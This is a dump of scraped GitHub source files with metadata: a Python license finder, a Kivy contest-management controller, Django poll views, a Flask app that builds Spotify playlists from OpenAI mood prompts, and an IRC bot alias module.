"usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 288, "usage_type": "name"}]}
{"seq_id": "23573023721", "text": "from collections import defaultdict, Counter\n\nfrom pylicenses.providers.condachannel import CondaChannelProvider\nfrom pylicenses.providers.condalocal import CondaProvider\nfrom pylicenses.providers.piplocal import PipProvider\nfrom pylicenses.providers.pypi import PyPiProvider\nfrom pylicenses.providers.static import StaticProvider\n\nversion = '0.1'\n\n\nclass PyLicenses(object):\n    \"\"\"\n    Extensible dependencies license finder\n    \"\"\"\n    PROVIDERS = {\n        'primary': [PipProvider, CondaProvider],\n        'fallback': [StaticProvider,\n                     CondaChannelProvider,\n                     PyPiProvider,\n        ]\n    }\n\n    def __init__(self, github_auth=None):\n        \"\"\"\n\n        :param github_auth: the tuple (user,password), defaults to None\n        \"\"\"\n        # a pipeline of providers\n        # TODO unify all providers into one pipeline and use an n-pass strategy to execute\n        #      until no progress is made (progress = reduce #missing packages)\n        self.github_auth = tuple(github_auth) if github_auth else None\n        self._packages = defaultdict(dict)\n        self.providers = defaultdict(list)\n        # initialize providers, passing information\n        for kind, provs in PyLicenses.PROVIDERS.items():\n            for provCls in provs:\n                kwargs = {\n                    kwarg: getattr(self, kwarg) for kwarg in provCls.init_kwargs\n                }\n                self.providers[kind].append(provCls(**kwargs))\n\n    @property\n    def packages(self):\n        return self._packages\n\n    def discover(self, subset=None):\n        \"\"\"\n        return dict of all packages including license files\n        \"\"\"\n        # get packages and licenses dicts from primary providers\n        packages = self._packages\n        for prov in self.providers['primary']:\n            prov.get_packages_info(packages, subset=subset)\n        # find those with missing license files\n        for prov in self.providers['fallback']:\n            missing = self.missing_licenses(subset=subset)\n            infos = prov.get_packages_info(missing)\n            for pkg, missing_data in infos.items():\n                if subset and not pkg in subset:\n                    continue\n                data = packages.get(pkg)\n                data.update(missing_data) if infos else None\n        return self\n\n    def missing_licenses(self, subset=None):\n        return {pkg: data for pkg, data in self.packages.items()\n                if (subset is None or pkg in subset)\n                and not any(data.get(k) for k in ('license_text', 'license_source'))\n                }\n\n    def resolved_licenses(self, subset=None):\n        return {pkg: data for pkg, data in self.packages.items()\n                if (subset is None or pkg in subset)\n                and any(data.get(k) for k in ('license_source', 'license_text'))\n                }\n\n    def get_license_stats(self):\n        c = Counter()\n        by_license = defaultdict(set)\n        for pkg, data in self.resolved_licenses().items():\n            name = data['name']\n            license = data.get('license_family') or data.get('license', 'unknown')\n            c[license] += 1\n            by_license[license].add(name)\n        return c, by_license\n\n    def get_package_dependencies(self, pkg):\n        data = self.packages[pkg]\n        depends = set()\n        if 'requires_dist' in data:\n            reqs = data['requires_dist']\n            for dist in reqs.split(';'):\n                dep_name = dist.split(' ')[0]\n                depends.add(dep_name) if dep_name else None\n        if 'depends' in data:\n            for dist in data['depends']:\n                dep_name = dist.split(' ')[0]\n                depends.add(dep_name) if dep_name else None\n        return depends\n\n    def discover_package_dependencies(self):\n        \"\"\"\n        for each package determine what required it, from package dependencies\n\n        Note:\n            The dependencies are derived from package meta data only. Any pip or\n            conda requirements.txt is not taken into account. The dependencies\n            are reported independent of versions and no correctness is done\n            (i.e. no verification whether dependencies are satisfied)\n\n        :return: .packages is updated to contain the required_by key for each\n           package. If required_by is an empty set the package was not required\n           by any (known) package.\n        \"\"\"\n        packages = self.packages\n        requireds = defaultdict(set)\n        for pkg, data in packages.items():\n            requireds[pkg]  # ensure we have an empty set for every pkg\n            if pkg != data['name']:\n                # only use basic package names, not versioned\n                continue\n            for dep in self.get_package_dependencies(pkg):\n                requireds[dep].add(pkg)\n        for pkg, required_by in requireds.items():\n            if pkg in packages:\n                # only add to known packages\n                packages[pkg]['required_by'] = required_by\n                packages[pkg]['is_primary'] = not required_by\n        return self\n", "repo_name": "miraculixx/pylicenses", "sub_path": "pylicenses/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 5088, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pylicenses.providers.piplocal.PipProvider", "line_number": 17, "usage_type": "name"}, {"api_name": "pylicenses.providers.condalocal.CondaProvider", "line_number": 17, "usage_type": "name"}, {"api_name": "pylicenses.providers.static.StaticProvider", "line_number": 18, "usage_type": "name"}, {"api_name": "pylicenses.providers.condachannel.CondaChannelProvider", "line_number": 19, "usage_type": "name"}, {"api_name": "pylicenses.providers.pypi.PyPiProvider", "line_number": 20, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 33, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 34, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 79, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 80, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 117, "usage_type": "call"}]}
{"seq_id": "25853134793", "text": "from datetime import datetime\nfrom urllib.error import HTTPError\n\nfrom kivy.clock import Clock\nfrom kivymd.uix.selectioncontrol import MDCheckbox\nfrom kivymd.uix.snackbar import Snackbar\nfrom kivymd.utils import asynckivy\nfrom plyer import filechooser, camera\n\nfrom Model.Database import Contest, LiveContest, Rider\nimport View.AdminScreen.ControlScreen.control_screen\nimport importlib\n\nfrom View.AdminScreen.ControlScreen.components.common.content.rider_content import RiderContent\n\nimportlib.reload(View.AdminScreen.ControlScreen.control_screen)\n\n\nclass ControlScreenController:\n    \"\"\"\n    The `ControlScreenController` class represents a controller implementation.\n    Coordinates work of the view with the model.\n    The controller implements the strategy pattern. The controller connects to\n    the view to control its actions.\n    \"\"\"\n\n    def __init__(self, model):\n        self.model = model  # Model.control_screen.ControlScreenModel\n        self.model.controller = self\n        self.view = View.AdminScreen.ControlScreen.control_screen.ControlScreenView(controller=self, model=self.model)\n        self.current_tab = 'Contests'\n\n    def get_view(self) -> View.AdminScreen.ControlScreen.control_screen:\n        return self.view\n\n    def go_to_main(self):\n        self.view.manager_screens.go_to('main screen')\n\n    def check_data(self, dt):\n        '''Asynchronously creates and adds chips to the container.'''\n\n        async def check_data():\n            await asynckivy.sleep(0)\n            self.model.check_data()\n\n        asynckivy.start(check_data())\n\n    def adjust_theme(self):\n        self.view.theme_cls.theme_style = \"Dark\" if self.view.theme_cls.theme_style == \"Light\" else \"Light\"\n\n    def register_rider(self, rider, contest, *args):\n        contest.register(rider)\n        rider.register_to_contest(contest)\n\n        self.set_participant_list(contest)\n\n    def set_participant_list(self, contest):\n        participants = []\n        for rider in self.model.riders:\n            registered = False\n            if rider in contest.registered_riders:\n                registered = True\n            item = {\n                'controller': self,\n                'registered': registered,\n                'rider': rider,\n                'contest': contest,\n                'name': str(rider.full_name),\n            }\n            participants.append(item)\n\n        self.model.participant_list = participants\n        return participants\n\n    def unregister_rider(self, rider, contest, *args):\n        if rider in contest.registered_riders:\n            contest.update(pull__registered_riders=rider)\n            rider.update(pull__registered_contest=contest.id)\n            # Save the changes to the contest object here\n            contest.save()\n            rider.save()\n\n        updated_contest = Contest.objects(id=str(contest.id)).first()\n        self.set_participant_list(updated_contest)\n\n    def open_participant_list(self, contest):\n        self.set_participant_list(contest)\n        self.view.mobile_view.ids.bottom_sheet.open()\n        self.view.tablet_view.ids.bottom_sheet.open()\n\n    def go_live(self, contest):\n        contest.go_live()\n        contest.save()\n        self.start_live_contest(contest)\n\n    def end_live(self, contest):\n        contest.live = False\n        contest.save()\n\n    def start_live_contest(self, contest):\n        live_contest = LiveContest.objects(contest=contest).first()\n        if not live_contest:\n            live_contest = LiveContest(contest=contest)\n\n        if not live_contest.start_time:\n            live_contest.start_time = datetime.now()\n\n        live_contest.save()\n        self.model.live_contest = live_contest\n        self.view.manager_screens.get_screen('judges screen').model.live_contest = live_contest\n        self.view.manager_screens.get_screen('dockhand screen').model.live_contest = live_contest\n\n\n    def complete_contest(self, contest):\n        contest.completed = True\n        contest.save()\n        Clock.schedule_once(self.model.check_data, 0)\n\n    def cancel_dialog(self):\n        self.model.new_contest = None\n        self.model.new_rider = None\n\n    def create_contest(self):\n        self.model.new_contest = Contest()\n\n    def set_event_type(self, type):\n        if not self.model.new_contest:\n            return\n        self.model.new_contest.event_type = type\n\n    def set_event_date(self, date):\n        if not self.model.new_contest:\n            return\n        self.model.new_contest.date = date\n\n    def set_name(self, value):\n        if not self.model.new_contest:\n            return\n        self.model.new_contest.event_name = value\n\n    def set_location(self, value):\n        if not self.model.new_contest:\n            return\n        self.model.new_contest.park = value\n\n    def set_description(self, value):\n        if not self.model.new_contest:\n            return\n        self.model.new_contest.description = value\n\n    def save_contest_image(self, path):\n        if path:\n            image_path = path[0] if isinstance(path, list) else path\n            self.model.image_path = image_path\n\n    def set_contest_date(self, date):\n        if not self.model.new_contest:\n            return\n        self.model.new_contest.date = datetime.strptime(date, '%m/%d/%Y')\n\n    def save_contest(self):\n        if self.model.new_contest:\n            if self.model.image_path:\n                self.model.new_contest.set_image(self.model.image_path)\n            self.model.new_contest.save()\n            self.model.new_contest = None\n            Clock.schedule_once(self.check_data,0)\n\n\n    def delete_contest(self, contest):\n        contest.delete()\n        self.model.check_data()\n\n    def update_contest(self, contest_content, *args):\n        contest = contest_content.contest\n        # Update the contest object's attributes with values from ContestContent\n\n        # Convert the date string back into a datetime object\n        if contest_content.date != 'None':\n            date_format = \"%m/%d/%Y\"\n            contest.date = datetime.strptime(contest_content.date, date_format)\n\n        try:\n            if contest_content.image_path_changed:\n                status, image_url = contest.set_image(contest_content.image_path)\n                if status == \"rate_limit_exceeded\":\n                    # Show a notification to the user\n                    self.show_notification(\"Too many requests. Image update skipped.\")\n        except Exception as e:\n            print(f\"Error: {e}\")\n\n        # Save the contest object\n        contest.save()\n        self.model.check_data()\n\n    def show_notification(self, message):\n        # Assuming you're using KivyMD's Snackbar for notifications\n        print(message)\n\n    def create_rider(self):\n        if self.model.new_rider:\n            self.model.new_rider = None\n        self.model.new_rider = Rider()\n\n    def set_first_name(self, value):\n        if not self.model.new_rider:\n            return\n        self.model.new_rider.first_name = value.capitalize()\n\n    def set_last_name(self, value):\n        if not self.model.new_rider:\n            return\n        self.model.new_rider.last_name = value.capitalize()\n\n    def set_gender(self, value):\n        if not self.model.new_rider:\n            return\n        self.model.new_rider.gender = value.capitalize()\n\n    def set_stance(self, value):\n        if not self.model.new_rider:\n            return\n        self.model.new_rider.stance = value.capitalize()\n\n    def set_home_park(self, value):\n        if not self.model.new_rider:\n            return\n        self.model.new_rider.home_park = value\n\n    def set_rider_dob(self, dob):\n        if not self.model.new_rider:\n            return\n        self.model.new_rider.date_of_birth = datetime.strptime(dob, '%m/%d/%Y')\n\n    def save_rider(self):\n        if not self.model.new_rider:\n            return\n        if self.model.image_path:\n            self.model.new_rider.set_image(self.model.image_path)\n            self.model.image_path = None\n\n        self.model.new_rider.save()\n\n        self.model.new_rider = None\n        self.model.check_data()\n\n    def update_rider(self, rider_content, *args):\n        rider = rider_content.rider\n\n        try:\n            if rider_content.image_path_changed:\n                rider.set_image(rider_content.image_path)\n        except HTTPError as e:\n            if e.code == 429:\n                print(\"Too many requests when trying to set the image. Skipping image update.\")\n            else:\n                # Handle other HTTP errors if necessary\n                print(f\"HTTP Error {e.code}: {e.reason}\")\n        except Exception as e:\n            # Handle other exceptions if necessary\n            print(f\"Error: {e}\")\n\n        rider.save()\n        self.model.check_data()\n        return\n\n    def delete_rider(self, rider):\n        rider.delete()\n        self.model.check_data()\n\n    def store_image(self, path):\n        if path:\n            image_path = path[0] if isinstance(path, list) else path\n            self.model.image_path = image_path\n", "repo_name": "MNwake/TheCWA", "sub_path": "Controller/control_screen.py", "file_name": "control_screen.py", "file_ext": "py", "file_size_in_byte": 9014, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "importlib.reload", "line_number": 16, "usage_type": "call"}, {"api_name": "View.AdminScreen.ControlScreen.control_screen.AdminScreen", "line_number": 16, "usage_type": "attribute"}, {"api_name": "View.AdminScreen.ControlScreen.control_screen", "line_number": 16, "usage_type": "name"}, {"api_name": "View.AdminScreen.ControlScreen.control_screen.AdminScreen.ControlScreen.control_screen.ControlScreenView", "line_number": 30, "usage_type": "call"}, {"api_name": "View.AdminScreen.ControlScreen.control_screen.AdminScreen", "line_number": 30, "usage_type": "attribute"}, {"api_name": "View.AdminScreen.ControlScreen.control_screen", "line_number": 30, "usage_type": "name"}, {"api_name": "View.AdminScreen.ControlScreen.control_screen.AdminScreen", "line_number": 33, "usage_type": "attribute"}, {"api_name": "View.AdminScreen.ControlScreen.control_screen", "line_number": 33, "usage_type": "name"}, {"api_name": "kivymd.utils.asynckivy.sleep", "line_number": 43, "usage_type": "call"}, {"api_name": "kivymd.utils.asynckivy", "line_number": 43, "usage_type": "name"}, {"api_name": "kivymd.utils.asynckivy.start", "line_number": 46, "usage_type": "call"}, {"api_name": "kivymd.utils.asynckivy", "line_number": 46, "usage_type": "name"}, {"api_name": "Model.Database.Contest.objects", "line_number": 83, "usage_type": "call"}, {"api_name": "Model.Database.Contest", "line_number": 83, "usage_type": "name"}, {"api_name": "Model.Database.LiveContest.objects", "line_number": 101, "usage_type": "call"}, {"api_name": "Model.Database.LiveContest", "line_number": 101, "usage_type": "name"}, {"api_name": "Model.Database.LiveContest", "line_number": 103, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 106, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 106, "usage_type": "name"}, {"api_name": "kivy.clock.Clock.schedule_once", "line_number": 117, "usage_type": "call"}, {"api_name": "kivy.clock.Clock", "line_number": 117, "usage_type": "name"}, {"api_name": "Model.Database.Contest", "line_number": 124, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 159, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 159, "usage_type": "name"}, {"api_name": "kivy.clock.Clock.schedule_once", "line_number": 167, "usage_type": "call"}, {"api_name": "kivy.clock.Clock", "line_number": 167, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 181, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 181, "usage_type": "name"}, {"api_name": "Model.Database.Rider", "line_number": 203, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 233, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 233, "usage_type": "name"}, {"api_name": "urllib.error.HTTPError", "line_number": 253, "usage_type": "name"}]}
{"seq_id": "32536391547", "text": "# Create your views here.\n\nimport models\nimport forms\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render_to_response\nfrom django.core.exceptions import ObjectDoesNotExist\n\n\ndef poll(r):\n    return render_to_response('poll.html',{'poll':forms.Poll()})\n\n\ndef poll_handler(r):\n\n    f = forms.Poll(r.POST)\n    if f.is_valid():\n        urlid = models.Poll.make_urlid()\n        p=models.Poll(\n            description = f.cleaned_data['description'],\n            question    = f.cleaned_data['question'], \n            choices     = f.cleaned_data['choices'],\n            urlid       = urlid)\n        p.save()        \n        return HttpResponseRedirect('/vote/'+urlid)\n    else:\n        return HttpResponseRedirect('/',)\n\n\ndef vote(r):\n\n    # either the voter has just casted his ballot, in which case, the\n    # post handler has appended a ?voter='name' and the models.Voter\n    # should be passed to the template to present smart initials\n\n    # or the voter has not just voted, she is unidentified, the\n    # initial value for the form are the default values\n\n    urlid = r.path.split('/')[-1]\n    poll = models.Poll.objects.get(urlid=urlid)    \n\n\n    if r.GET and r.GET.get('name'):\n        name = r.GET.get('name')\n        try:\n            v = poll.voter_set.get(name=name)\n        except ObjectDoesNotExist:\n            v = models.Voter(name=name)\n            \n\n        voter = forms.Voter({\n                'name':v.name,\n                'prefs':v.prefs,\n                'comment':v.comment})\n    else:\n        voter = forms.Voter()\n\n    return render_to_response('vote.html',{\n            'question':poll.question,\n            'description':poll.description,\n            'choices':poll.choice_list(),\n            'voters':[(v.name,v.pref_list(),v.comment) for v in poll.voter_set.all()],\n            'results':poll.results(),\n            'form':voter,\n            'urlid':urlid})\n                                   \ndef vote_handler(r):\n\n    # either the voter has already voted and his name is among the\n    # voters of the poll, no new voter must be created, only his\n    # choices must be updated\n\n    # or the voter has never voted with this name and she must be created\n\n    urlid = r.path.split('/')[-1]\n    poll = models.Poll.objects.get(urlid=urlid)\n    \n    f = forms.Voter(r.POST)\n    if f.is_valid():\n        name = f.cleaned_data['name']\n        if name in [ v.name for v in poll.voter_set.all()]:\n            v = poll.voter_set.get(name=name)\n        else:\n            v = models.Voter(name=name)\n            v.poll = poll\n\n        v.prefs = f.cleaned_data['prefs']\n        v.comment = f.cleaned_data['comment']\n        v.save()\n\n        return HttpResponseRedirect('/vote/'+urlid+'?name='+name)\n\n    \n", "repo_name": "jdb/shmoodle", "sub_path": "poll/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2746, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.shortcuts.render_to_response", "line_number": 11, "usage_type": "call"}, {"api_name": "forms.Poll", "line_number": 11, "usage_type": "call"}, {"api_name": "forms.Poll", "line_number": 16, "usage_type": "call"}, {"api_name": "models.Poll.make_urlid", "line_number": 18, "usage_type": "call"}, {"api_name": "models.Poll", "line_number": 18, "usage_type": "attribute"}, {"api_name": "models.Poll", "line_number": 19, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 25, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 27, "usage_type": "call"}, {"api_name": "models.Poll.objects.get", "line_number": 40, "usage_type": "call"}, {"api_name": "models.Poll", "line_number": 40, "usage_type": "attribute"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 47, "usage_type": "name"}, {"api_name": "models.Voter", "line_number": 48, "usage_type": "call"}, {"api_name": "forms.Voter", "line_number": 51, "usage_type": "call"}, {"api_name": "forms.Voter", "line_number": 56, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 58, "usage_type": "call"}, {"api_name": "models.Poll.objects.get", "line_number": 76, "usage_type": "call"}, {"api_name": "models.Poll", "line_number": 76, "usage_type": "attribute"}, {"api_name": "forms.Voter", "line_number": 78, "usage_type": "call"}, {"api_name": "models.Voter", "line_number": 84, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 91, "usage_type": "call"}]}
{"seq_id": "35792553154", "text": "from flask import Flask, request, render_template\nfrom flask_cors import CORS\nimport requests\nimport spotipy\nfrom spotipy.oauth2 import SpotifyOAuth\nimport openai\nfrom dotenv import load_dotenv\nimport os\nimport random\n\napp = Flask(__name__)\nload_dotenv()\n\nCORS(app)\n\nopenai.api_key = os.environ.get('OPENAI_KEY')\nsp = spotipy.Spotify(auth_manager=SpotifyOAuth(client_id=os.environ.get('SPOTIFY_CLIENT_ID'),\n                                               client_secret=os.environ.get('SPOTIFY_CLIENT_SECRET'),\n                                               redirect_uri=\"http://localhost:8888/callback\",\n                                               scope=\"user-top-read playlist-modify-public\"))\n\n\n\"\"\" interpret with openai\n\n    Parameters:\n        - prompt - the mood/vibe the user inputted\n    Returns:\n        - a string\n\"\"\"\n\n\ndef gpt3_interpret(prompt):\n    # Define the prompt and the OpenAI API parameters\n    model = \"text-davinci-003\"\n    # model = \"text-curie-001\"\n    temperature = .7\n    max_tokens = 250\n    prompt = f\"What are some words that describe the the mood: {prompt}\\n\"\n\n    # Call the OpenAI API to generate text based on the prompt\n    response = openai.Completion.create(\n        engine=model,\n        prompt=prompt,\n        temperature=temperature,\n        max_tokens=max_tokens\n    )\n\n    # Return the string\n    return str(response.choices[0].text)\n\n\n\"\"\" get tracks with openai\n\n    Parameters:\n        - prompt - the words to descirbe a users mood,\n        use gpt3_interpret() first\n    Returns\n        - a string\n\"\"\"\n\n\ndef gpt3_tracks(prompt, genre):\n    # Define the prompt and the OpenAI API parameters\n    model = \"text-davinci-003\"\n    # model = \"text-curie-001\"\n    temperature = .4\n    max_tokens = 500\n    frequency_penalty = 0.69\n    presence_penalty = 0.56\n    prompt = f\"Can you give me a mix of 10 {genre} tracks that fit the following mood: {prompt}\\n\"\n\n    # Call the OpenAI API to generate text based on the prompt\n    response = openai.Completion.create(\n        engine=model,\n        prompt=prompt,\n        temperature=temperature,\n        max_tokens=max_tokens,\n        frequency_penalty=frequency_penalty,\n        presence_penalty=presence_penalty\n    )\n\n    # Return the string\n    return str(response.choices[0].text)\n\n\n\"\"\" get mood emoji with openai\n\n    Parameters:\n        - prompt - the mood/vibe the user inputted\n    Returns:\n        - a string with 1-3 emojis \n\"\"\"\n\n\ndef gpt3_emoji(prompt):\n    # Define the prompt and the OpenAI API parameters\n    model = \"text-davinci-003\"\n    # model = \"text-curie-001\"\n    temperature = .7\n    max_tokens = 256\n    frequency_penalty = 0\n    presence_penalty = 0\n    prompt = f\"What are 1 to 3 emojis that describes the the mood: {prompt}\\n\"\n\n    # Call the OpenAI API to generate text based on the prompt\n    response = openai.Completion.create(\n        engine=model,\n        prompt=prompt,\n        temperature=temperature,\n        max_tokens=max_tokens,\n        frequency_penalty=frequency_penalty,\n        presence_penalty=presence_penalty\n    )\n\n    # Return the string\n    return str(response.choices[0].text)\n\n\n\"\"\" get a response to the phrase\n\n    Parameters:\n        - prompt - the mood/vibe the user inputted\n    Returns:\n        - a string \n\"\"\"\n\n\ndef gpt3_phrase(prompt):\n    # Define the prompt and the OpenAI API parameters\n    model = \"text-davinci-003\"\n    # model = \"text-curie-001\"\n    temperature = .7\n    max_tokens = 256\n    frequency_penalty = 0\n    presence_penalty = 0\n    prompt = f\"What is a funny edgy positive thing I can tell my friend if they said: {prompt}\\n\"\n\n    # Call the OpenAI API to generate text based on the prompt\n    response = openai.Completion.create(\n        engine=model,\n        prompt=prompt,\n        temperature=temperature,\n        max_tokens=max_tokens,\n        frequency_penalty=frequency_penalty,\n        presence_penalty=presence_penalty\n    )\n\n    # Return the string\n    return str(response.choices[0].text)\n\n\n\ndef spotify_search_songs(track_list):\n    \"\"\" \n    use spotify to search for tracks and return a list of them. Returns a list of song URLs\n\n    Parameters:\n        - song_list - a string of songs\n    \"\"\"\n    to_strip = \"0123456789. \"\n    tracks_url = []\n    track_list_split = track_list.split('\\n')\n\n    for track in track_list_split:\n        track = track.lstrip(to_strip)\n        track = track.strip(\"\\\"“”\")\n        track = track.replace('\"', '')\n        track = track.replace('”', '')\n\n        if not track:\n            continue\n        print(f\"Searching for {track}\")\n        try:\n            results = sp.search(q=str(track), type='track')\n        except requests.exceptions.RequestException as e:\n            print(str(e))\n            continue\n\n        # Check if any results were found\n        if len(results['tracks']['items']) > 0:\n            # Get the URI of the first search result\n            tracks_url.append(results['tracks']['items']\n                              [0]['external_urls']['spotify'])\n\n    return tracks_url\n\n\n\"\"\" use to get html embed code for a list of songs\n\n    Parameters:\n        - tracks_uri - a list of track uri's\n    Returns:\n        - a string HTML\n\"\"\"\n\n\ndef spotify_get_embed(tracks_uri):\n    embed_list = []\n    for url in tracks_uri:\n        oembed_url = f'https://open.spotify.com/oembed?url={url}'\n        response = requests.get(oembed_url)\n        embed_list.append(response.json()['html'])\n\n    return embed_list\n\n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n\n@app.route('/search')\ndef search():\n    # Input mood\n    # input = \"roadtrip\"\n    genre = request.args.get('genres')\n    input = request.args.get('q')\n\n    print(input)\n    print(genre)\n\n    # Call functions\n    interpretation = gpt3_interpret(input)\n    print(interpretation)\n    reponse_phrase = gpt3_phrase(input)\n    print(reponse_phrase)\n    emojis = gpt3_emoji(input)\n    print(emojis)\n    tracks_string = gpt3_tracks(interpretation, genre)\n    # tracks_string = gpt3_tracks(\"\", genre)\n    # print(tracks_string)\n    tracks_url = spotify_search_songs(tracks_string)\n    embed_list = spotify_get_embed(tracks_url)\n\n    # Define the HTML content as a string format\n    html = \"\"\n    for embed in embed_list:\n        html += embed\n\n    # Return JSON response\n    response = {\n        \"html\": html,\n        \"URLS\": tracks_url,\n        \"emojis\": emojis,\n        \"interpretation\": interpretation,\n        \"phrase\": reponse_phrase, \n    }\n\n    return html\n\n@app.route('/expsearch')\ndef expsearch():\n    # Input mood\n    # input = \"roadtrip\"\n    genre = request.args.get('genres')\n    input = request.args.get('q')\n\n    print(input)\n    print(genre)\n\n    # Call functions\n    reponse_phrase = gpt3_phrase(input)\n    print(reponse_phrase)\n    emojis = gpt3_emoji(input)\n    print(emojis)\n    tracks_string = gpt3_tracks(input, genre)\n    # tracks_string = gpt3_tracks(\"\", genre)\n    # print(tracks_string)\n    tracks_url = spotify_search_songs(tracks_string)\n    embed_list = spotify_get_embed(tracks_url)\n\n    # Define the HTML content as a string format\n    html = \"\"\n    for embed in embed_list:\n        html += embed\n\n    # Return JSON response\n    response = {\n        \"html\": html,\n        \"URLS\": tracks_url,\n        \"emojis\": emojis,\n        \"interpretation\": input,\n        \"phrase\": reponse_phrase, \n    }\n\n    return html\n\n\napp.run(host=\"0.0.0.0\", port=5000)\n", "repo_name": "najaf2/Synaesthesia", "sub_path": "server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 7369, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 11, "usage_type": "call"}, {"api_name": "dotenv.load_dotenv", "line_number": 12, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 14, "usage_type": "call"}, {"api_name": "openai.api_key", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 16, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}, {"api_name": "spotipy.Spotify", "line_number": 17, "usage_type": "call"}, {"api_name": "spotipy.oauth2.SpotifyOAuth", "line_number": 17, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 17, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 18, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 18, "usage_type": "attribute"}, {"api_name": "openai.Completion.create", "line_number": 41, "usage_type": "call"}, {"api_name": "openai.Completion", "line_number": 41, "usage_type": "attribute"}, {"api_name": "openai.Completion.create", "line_number": 73, "usage_type": "call"}, {"api_name": "openai.Completion", "line_number": 73, "usage_type": "attribute"}, {"api_name": "openai.Completion.create", "line_number": 106, "usage_type": "call"}, {"api_name": "openai.Completion", "line_number": 106, "usage_type": "attribute"}, {"api_name": "openai.Completion.create", "line_number": 139, "usage_type": "call"}, {"api_name": "openai.Completion", "line_number": 139, "usage_type": "attribute"}, {"api_name": "requests.exceptions", "line_number": 175, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 201, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 209, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 216, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 216, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 216, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 217, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 217, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 217, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 255, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 255, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 255, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 256, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 256, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 256, "usage_type": "name"}]}
{"seq_id": "25023129916", "text": "import json\n\n# Convert to class, init with User as input\n\n\ndef open_name_database(database):\n    ''' opens the database of aliased names'''\n    with open(database, 'r') as f:\n        return json.load(f)\n\n\ndef save_names_database(name_dict, database):\n    ''' saves the database of aliased names'''\n    with open(database, 'w') as f:\n        json.dump(name_dict, f, indent=4)\n\n\ndef check_alias(name, database):\n    ''' checks if an alias exists, else passes input instead '''\n    try:\n        names = open_name_database(database)\n    except IOError:\n        return name\n    for key in names:\n        if name.lower() in names[key]:\n            return key\n    return name\n\ndef remove_entry(name, database):\n    try:\n        names = open_name_database(database)\n    except IOError:\n        return name\n    if name in names:\n        names.pop(name)\n        save_names_database(names, database)\n        return \"{} was removed from the database!\".format(name)\n\n\ndef register_name_(source_, name, database):\n    ''' registers aliases a name to something, i.e an IRC username/anime name '''\n    source = source_\n    database = database\n\n    try:\n        names = open_name_database(database)\n    except IOError:\n        names = {}\n    try:\n        name_list = names[name]\n        if source.lower() in name_list:\n            return '{0} is already aliased to {1}.'.format(name, source)\n        else:\n            names[name].append(source.lower())\n            save_names_database(names, database)\n            return 'Successfully aliased {0} to {1}.'.format(name, source)\n    except KeyError:\n        names[name] = [source.lower()]\n        if names != None:\n            save_names_database(names, database)\n            return 'Added {0} with alias {1}.'.format(name, source)\n", "repo_name": "CirnoIsTheStrongest/BiriBot", "sub_path": "modules/ModuleBase.py", "file_name": "ModuleBase.py", "file_ext": "py", "file_size_in_byte": 1763, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.load", "line_number": 9, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 15, "usage_type": "call"}]}
